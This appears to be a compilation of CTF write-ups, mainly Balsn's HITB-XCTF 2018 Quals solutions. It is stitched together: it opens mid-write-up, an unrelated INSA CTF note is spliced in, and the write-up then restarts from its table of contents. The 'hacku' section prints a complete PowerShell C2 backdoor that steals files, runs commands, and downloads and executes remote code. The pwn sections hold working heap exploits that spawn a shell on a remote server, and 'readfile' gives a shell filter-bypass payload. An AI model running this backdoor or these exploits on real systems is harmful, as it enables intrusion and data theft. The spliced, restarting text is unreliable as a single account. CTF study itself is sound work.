void flying() { ... read_input((char *)(flypig_addr + 0x80), 16); ...}```Just as the pig's name, this pig can "fly" to next chunk and overwrite first 16 bytes (17 if one-byte-off) of the data. Can use this to overwrite freed `fd` and `bk`.
```+----------------+----------------+ <- flypig| | size(0x80) |+----------------+----------------+| || unused data (0x70) || |+----------------+----------------+ <- freed chunk | | size |+----------------+----------------+ <- flying() input| fd | bk |+----------------+----------------+```
#### Solution...?
* Leak libc address
There are 3 different pigs `Ke Gua`, `Red Boy`, `Small Li`.The `addpig()` function will use `strncpy(buf, pig_name, pig_name_len)` to copy pig's name to `pig_name`.Notice that `Small Li` is 8 bytes, so if we add this pig, we can leak the freed chunk `bk` pointer as no null byte will append after calling `strncpy`, then we can calculate libc address.
* Leak heap address
Using the one-byte-off vulnerability, we can overwrite the `top_chunk` size and caused `sysmalloc` to create a new heap.Then use the same method above to leak heap address.
* ...
I was unable to solve this challenge in time as I couldn't find a way to exploit. So close....
## crypto
### easy\_block (sasdf)#### Vulnerability* We have a service to compute mac for any plaintext. ```python # must be delete! elif choice[0] == 'c': un = input('your username:>>') un = bytes(un, 'ISO-8859-1') print(sha256(mac_key + un).digest().hex()) ```* Unpad function doesn't check for valid padding that can trim more than 16 bytes. ```python def unpad(s): return s[0:-s[-1]] ```* Leak 17 bytes of decrypted message. ```python sha256(mac_key + plaintext).digest().hex()[-64:-30] ```* It check last 31.5 bytes of mac instead of whole string ```python sha256(mac_key + plaintext).digest().hex()[-63:] == hash.hex()[-63:] ```
#### Construct payloadSend `admin` as username, and we will get encrypted data of `adminuser`, modify the padding and trim off the suffix `user`. Use second and third blocks to construct a (48 - 5) bytes padding to avoid being affected by initial vector.
#### Construct hashUse subroutine `c` to compute target hash. The initial vector is shared between payload and hash, we cannot modify the first 5 bytes because it will change our plaintext. Fortunately, padded message of hash is (32 + 16) bytes, and only last 31.5 bytes after unpad will be verified. So we can use ciphertext of `[5 bytes garbage][32 bytes hash]` as our mac, left first 5 bytes of initial vector unchanged. The ciphertext is constructed by xor previous block with desired plaintext and decrypted plaintext.
### easy\_pub (sasdf)```pythonbytes_to_long(b'\x00\xff') == bytes_to_long(b'\xff') == 255long_to_bytes(bytes_to_long(b'\x00\xff')) == b'\xff'```If we register with empty username, it will give us secret `admin_k` when we login. DONE.
### streamgamex (sasdf)Use first 24 bits of output as state. Run in reverse direction to get lower 24 bits of initial state (i.e. flag). Bruteforce first 17 bits that satisfy sha256 given in hint.```pythonmask = 0b10110110110011010111001101011010101011011for _ in range(24): lastbit = state & 1 state >>= 1 i = (state & mask) while i!=0: lastbit^=(i&1) i=i>>1 state|=(lastbit<<23) print('State: %s' % bin(state)[2:].rjust(24, '0'))state = bin(state)[2:].rjust(24, '0')```
### base (how2hack)This challenge let user input one string and output the "encoded" string.Our goal is to decode the given string, which is the flag: `2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=`
From the challenge name, I quickly think of base64 and other similar encoding algorithm. However I can't really tell how it works as it encodes the string totally different as the usual one.
I try to spam some string and see what I can get, and I think Brute Forcing may help.
Note: I try to scan through all the ASCII (256 possibilities), but after some tries I noted that the flag is only contains hex (16 possibilities).
Here is the script how I attempt to brute force:```pythonflag = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='possibilities = range(0x30, 0x3a) # 0-9possibilities.extend(range(0x61, 0x67)) # a-fchoose = ''while True: print flag for i in possibilities: r.sendline(choose+chr(i)) print r.recvline().strip() choose = raw_input().strip()```
Flag: `HITB{5869616f6d6f40466c61707079506967}`
```>>> '5869616f6d6f40466c61707079506967'.decode('hex')'Xiaomo@FlappyPig'```Hi Xiaomo :)...
## mobile
### kivy simple (sces60107)
First I extract the `classes.dex` and try analyse the code.
Eventually I found that this apk is using python.
The python script is hidden in the `private.mp3`
Though the scripts is compiled, you can use `uncompyle2`.
Now we have the main.py```python=from kivy.uix.popup import Popupfrom kivy.app import Appfrom kivy.uix.label import Labelfrom kivy.uix.textinput import TextInputfrom kivy.uix.button import Buttonfrom kivy.uix.boxlayout import BoxLayoutimport binasciiimport marshalimport zlib
class LoginScreen(BoxLayout):
def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello)
def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False
def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open()
screen = LoginScreen()b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64))))
class MyApp(App):
def build(self): return screen
app = MyApp()app.run()
```
There is a second stage. But it is not difficult to understand.
The following is the script to extract flag
```python=import zlibimport marshalimport disb64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'a=marshal.loads(zlib.decompress((b64).decode("base64")))
flag=["?"]*50 # initialize flag stringn=a.co_consts[0].co_consts # the const contains flag byte and index bytecode=a.co_consts[0].co_code[34:] # extract useful bytecode
# Now we can reconstruct the flagwhile code.find("|\x01\x00d")!=-1: pos=code.find("|\x01\x00d") code=code[pos:] i=ord(code[4]) j=ord(code[8]) #the first is index, the second is flag flag[n[i]]=n[j] code=code[1:]print "".join(flag)
```The flag is `HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}`### multicheck (sasdf)Extract `claz.dex` from `lib/libcheck.so` by xor with increasing byte stream started with 233 (i.e. i=233; i++). Run the inverse of algorithm in `claz.dex` to uncover input string.```pythondef decBlock(a, b): i5 = np.int32(0) for _ in range(32): i5 -= np.int32(1640531527) for _ in range(32): b -= (((a << np.int32(4)) + coeff[2]) ^ (a + i5)) ^ ((a >> np.int32(5)) + coeff[3]) a -= (((b << np.int32(4)) + coeff[0]) ^ (b + i5)) ^ ((b >> np.int32(5)) + coeff[1]) i5 += np.int32(1640531527) return int(a), int(b)``` |
We have a tar.xz file that when is decompressed has lots of tar.xz files, and so recursively, so we used the following command to extract them
```while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;```
and obtained a file with the flag: INSA{04ebb0d6a87f9771f2eea4dce5b91a85e7623c13301a8007914085a91b3ca6d9}
By fikih888 |
# HITB-XCTF GSEC CTF 2018 Quals
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180411-hitbxctfqual/) of this writeup.**
- [HITB-XCTF GSEC CTF 2018 Quals](#hitb-xctf-gsec-ctf-2018-quals) - [rev](#rev) - [hacku (sces60107)](#hacku-sces60107) - [sdsun (sces60107 sasdf)](#sdsun-sces60107-sasdf) - [hex (sasdf)](#hex-sasdf) - [First try](#first-try) - [Second try](#second-try) - [misc](#misc) - [tpyx (sces60107)](#tpyx-sces60107) - [readfile (sces60107)](#readfile-sces60107) - [pix (sces60107)](#pix-sces60107) - [pwn](#pwn) - [once (kevin47)](#once-kevin47) - [Vulnerability](#vulnerability) - [Exploit](#exploit) - [gundam (kevin47)](#gundam-kevin47) - [Overview](#overview) - [Vulnerability](#vulnerability-1) - [Leak](#leak) - [Exploit](#exploit-1) - [d (kevin47)](#d-kevin47) - [Overview](#overview-1) - [Vulnerability](#vulnerability-2) - [Exploit](#exploit-2) - [babypwn (how2hack)](#babypwn-how2hack) - [Vulnerability](#vulnerability-3) - [Solution](#solution) - [Exploit](#exploit-3) - [web](#web) - [Upload (bookgin)](#upload-bookgin) - [Find the target](#find-the-target) - [Brute force the path and RCE](#brute-force-the-path-and-rce) - [Python's revenge (sasdf)](#pythons-revenge-sasdf) - [Payload](#payload) - [PHP lover (bookgin & sces60107)](#php-lover-bookgin--sces60107) - [Possible SQL injection](#possible-sql-injection) - [Bypass WAFs](#bypass-wafs) - [Email format regex check](#email-format-regex-check) - [Hacker Filter](#hacker-filter) - [Get the flag](#get-the-flag) - [baby baby (bookgin)](#baby-baby-bookgin) - [Recon](#recon) - [RCE](#rce) - [baby nya (bookgin)](#baby-nya-bookgin) - [Exposed Jserv protocol](#exposed-jserv-protocol) - [Exploit the jolokia](#exploit-the-jolokia) - [baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)](#baby-fs-unsolved-written-by-bookgin-thanks-to-the-organizer-qq-group) - [3pigs (unsolved, written by how2hack)](#3pigs-unsolved-written-by-how2hack) - [Hint](#hint) - [Web Challenge? WutFace](#web-challenge-wutface) - [First stage (Misc)](#first-stage-misc) - [Python Format String Vulnerability](#python-format-string-vulnerability) - [Second stage (Pwn)](#second-stage-pwn) - [Vulnerability](#vulnerability-4) - [Solution...?](#solution-1) - [crypto](#crypto) - [easy_block (sasdf)](#easy_block-sasdf) - [Vulnerability](#vulnerability-5) - [Construct payload](#construct-payload) - [Construct hash](#construct-hash) - [easy_pub (sasdf)](#easy_pub-sasdf) - [streamgamex (sasdf)](#streamgamex-sasdf) - [base (how2hack)](#base-how2hack) - [mobile](#mobile) - [kivy simple (sces60107)](#kivy-simple-sces60107) - [multicheck (sasdf)](#multicheck-sasdf)
## rev
### hacku (sces60107)
In this challenge give us two file. A pcap file and a chm file.
The chm file is useless. The pcap file has a large size, because it is downloading windows update file.
After some digging, I found the dns query is interesting. we can extract some base64 string. And I found a script after base64 decoding.```ps1=$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe'$RUN_CMD = 'run-cmd'
$GET_REG = 'get-reg'$GET_TASK = 'get-tak'$GET_UPDATE = 'get-upd'$GET_REP = 'get-rep'
$STATUS_INIT = 0x0000$STATUS_REGED = 0x8000$STATUS_TASK = $STATUS_REGED -bor 0x1$STATUS_PADD = $STATUS_REGED -bor 0x2
$url = 'http://192.168.99.234/cc/cc.php'$status = $STATUS_INIT$task = $null$running = $True
$pubk = (1501,377753)
function get-Md5Hash($str){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-'}
function get-ComputeName{ try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; }}
function get-clientID{ try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName }}function Reg-Info{ $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function get-Task{ $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function EttRRRRRRhd ( $tid , $taskinfo ){ $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json}
function check_VM(){ $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } }}
function YTRKLJHBKJHJHGV($msg){ while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) #
$webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } }}
function POIUIGKJNBYFF($msg){
$msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e}
function YNHGFOI8YIUGH( $str ){ return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))}
function VCDHJIIDDSQQQ( $b64 ){ return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))}
function POPOUIUJKKKI($file){ return YNHGFOI8YIUGH (Get-Content $file)}
function MJOOLLFGFASA($name){ $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result }
function DXCFGIOUUGKJB764($x, $h, $n){ $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y}
function OPKE3989hYYY($pk , $plaintext){ $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr}function OKMNHGGGGSSAAA($pk,$enctext){ $key , $n = $pk $txt = ""
$enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt}
function UIHIUHGUYGOIJOIHGIHGIH($cmd){ $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue }return @($i , $d)}
$MuName = 'Global\_94_HACK_U_HAHAHAHAHA'$retFlag = $flase$Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)if ($retFlag){ $Result = $True}else{ $Result = $False}
if ($Result){ while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null}else{
}```
They use `rsa` to encrypt message. the n is easy to factor.
Still, we can find out the encrypted message from pcap file.
We also extract two things from those message. The first one is a rar file, the second is a ps1 script.
We cannot open the rar file. After a few hour, the host change the challenge. Now we have flag part1 instead of rar file. The flag part1 is `HITBXCTF{W0rk_1n_th3_dark_`
Let's see the ps1 script. It actually generate a exe file at the temp directory.
Then, we can reverse that exe file.
I found out that it's trying to write something on MBR.
The final step is reversing what it write on MBR. It's 80286 architecture.
Now we just need decode the encryted flag part2.```python=ciphertext='%\xa19\x89\xa6\x9d\xd5\xa5u\x8dJ\x92\xf1Y^\x91'def ror(a,b): return (a>>b)|(a<<(8-b))def rol(a,b): return (a<<b)|(a>>(8-b))flag=""table=[]#maintain a tablefor j in range(256): x=j x=ror(x,3)%256 x^=0x74 x=rol(x,5)%256 x+=0x47 x%=256 if(x%2==0): teble.append(x-1) else: table.append(x+1)for i in ciphertext: flag+=chr(table.index(ord(i)))print flag```
### sdsun (sces60107 sasdf)
The first thing you will notice is that the binary is packed by upx.
The way I unpack the binary is using gdb. I let the binary exectue for a while. It will be unpacked in the memory. So I can dump the whole memory in gdb.
Now I have the unpacked binary. but it is hard to understand it.
I found some feature indicating that this binary is written in Go language.
Then I use this [script](https://gitlab.com/zaytsevgu/goutils/blob/master/go_renamer.py) to recover the symbol. It will be much easier to understand this binary.
It seems like there is a backdoor. This binary will listen to a random port. And it will output the port number.
The communication with the backdoor is compressed. and it use zlib. Also, the communication format is json.
The backdoor will give you flag if your command is `{"action":"GetFlag"}`. We found this rule in `main.Process`
Now we have the flag `HITB{4e773ff1406800017933c9a1c9f14f35}`
### hex (sasdf)A arduino challenge, data is in intelhex format. I use helper script `hex2bin.py` from intexHex python library to generate binary.
#### First tryLoaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)```asmldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xffaldi r22, 0xf4ldi r23, 0x01ldi r24, 0x00ldi r25, 0x00call 0xbdaldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xf62ldi r22, 0x88ldi r23, 0x13ldi r24, 0x00ldi r25, 0x00call 0xbda```I dumped all `XX` bytes in previous pattern but didn't figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile `fcn.ffa` to following (wrong) psuedo code:```pythonr26 = 0x77if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0else: r22 + 0x78
if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22
fcn_e7e()```I gave up.
#### Second tryAfter the third hint `Keyboard` is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here's source code from Arduino's Keyboard library:```C++size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1;}```Ahh, `fcn.ffa` is `Keyboard::_press`!! It turns out that `fcn.f62` is `Keyboard::_release` and `fcn.bda`, which use timer register `TCNT0`, is `delay`.
Take our previous dump of parameters, convert it to keystroke, and the flag shows up.``` $##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$` |#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%. ;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%. |#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$` |#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$` |#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.```
P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed.
## misc
### tpyx (sces60107)
The png file is broken. It seems like We need to fix it first.`pngcheck` tell us that it has crc checksum error```shell$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 653 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 1162839 zlib: deflated, 32K window, default compression CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png```
When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839
After corrected all faults, just use `zsteg` to detect any interesting things and also extract them.```shell$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4efextradata:imagedata .. file: zlib compressed data......$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data$ cat data377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d$ cat data | xxd -r -p > data$ file datadata.7z: 7-zip archive data, version 0.3
```Now we have a 7z file, but we need password.The 7z file is actually appended with the password.```shell$ xxd data00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==..Extracting flag..$ cat flagHITB{0c88d56694c2fb3bcc416e122c1072eb}```
### readfile (sces60107)
It seems like the non-punctuation letter will be filtered.
So I try to readfile with `Arithmetic expansion`
The payload is `$(</????/????_??_????/*)`
Then we can read the flag `HITB{d7dc2f3c59291946abc768d74367ec31}`
### pix (sces60107)
Use `zsteg` to extract a keepassX database file
```shell$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGateimagedata .. text: " !#865 "b1,r,msb,xy .. text: "y5b@2~2t"b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBXb2,r,msb,xy .. text: "\rP`I$X7D"b2,bgr,lsb,xy .. text: "b;d'8H~M"b4,g,msb,xy .. text: ";pTr73& dvG:"$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > keedatabase.kbdx```
Now we have to launch a dictionary attack against this database. then I found [this](https://www.rubydevices.com.au/blog/how-to-hack-keepass)
Finally, I found the password and also found the flag found the flag from the database.
The flag is `HITB{p1x_aNd_k33pass}`
## pwn
### once (kevin47)
#### Vulnerability* Fd and bk of the link list can be overwritten
#### Exploit```python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.189.102', 9999)lib = ELF('./libc-2.23.so')
# leakr.sendline('0')r.recvuntil('choice\n')x = r.recvuntil('>', drop=True)libc = int(x, 16) - 0x6f690lib.address = libcprint hex(libc)
# stage 1# overwrite bkr.sendline('2')ubin = libc + 0x3c4b70-8+0x10+8r.send(flat(0xdeadbeef, 0x101, 0xdeadbeef, ubin))r.sendlineafter('>', '1')# unlinkr.sendlineafter('>', '3') # ubin -> bss
# stage 2#r.sendline('4')r.sendlineafter('>', '4')# alloc on bssr.sendlineafter('>', '1')r.sendlineafter('size:', str(0x100-8))# write bssstdout, stdin = libc+0x3c5620, libc+0x3c48e0binsh = libc+1625367payload = [ 0, lib.symbols['__free_hook'], # link list bk to overwrite free hook stdout, 0, stdin, 0, 0, binsh, # ptr containing "/bin/sh" [0]*10, # flags = 0]r.sendlineafter('>', '2')r.send(flat(payload))# we can edit1 again :), plus bk is on free hook# back to stage 1r.sendlineafter('>', '4')
# ovewrite free_hookr.sendlineafter('>', '2')r.send(flat(lib.symbols['system']))
# stage 2r.sendlineafter('>', '4')# free(ptr) == system("/bin/sh")r.sendlineafter('>', '3')
r.interactive()
# HITB{this_is_the_xxxxxxx_flag}```
### gundam (kevin47)
#### Overview```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled```There are 4 operations:1. Build a gundam2. Visit gundams3. Destroy a gundam4. Blow up the factory
The structure of a gundam is:``` +---------+ |flag | 0x100 +---------+ +--------------------+ |name_ptr |---->| name | 0x28 +---------+ +--------------------+ |type(str)| | | | | +---------|```* An array of pointer to the gundam structure is on bss.* When a gundam is builded, the program malloc chunks of size 0x28 and 0x100 as shown above, set them properly, and store into the array of pointer on bss.* Visit gundams prints gundams' index, name and type that are not destroyed.* Destroy a gundam sets the flag to 0 and frees the name* Blow up the factory frees the gundam structures that flag are 0.
#### Vulnerability* Read name without ending null byte, which can be used to leak.* Destroy a gundam does not clear the name_ptr, which leads to use after free (double free).* The program is running with libc-2.26, which implemented a new feature called tcache to improve performance. However, it does not perform any sanity check for performance's sake. That is, fastbin dup attack can be done anywhere any size without satisfying the size's contraint.
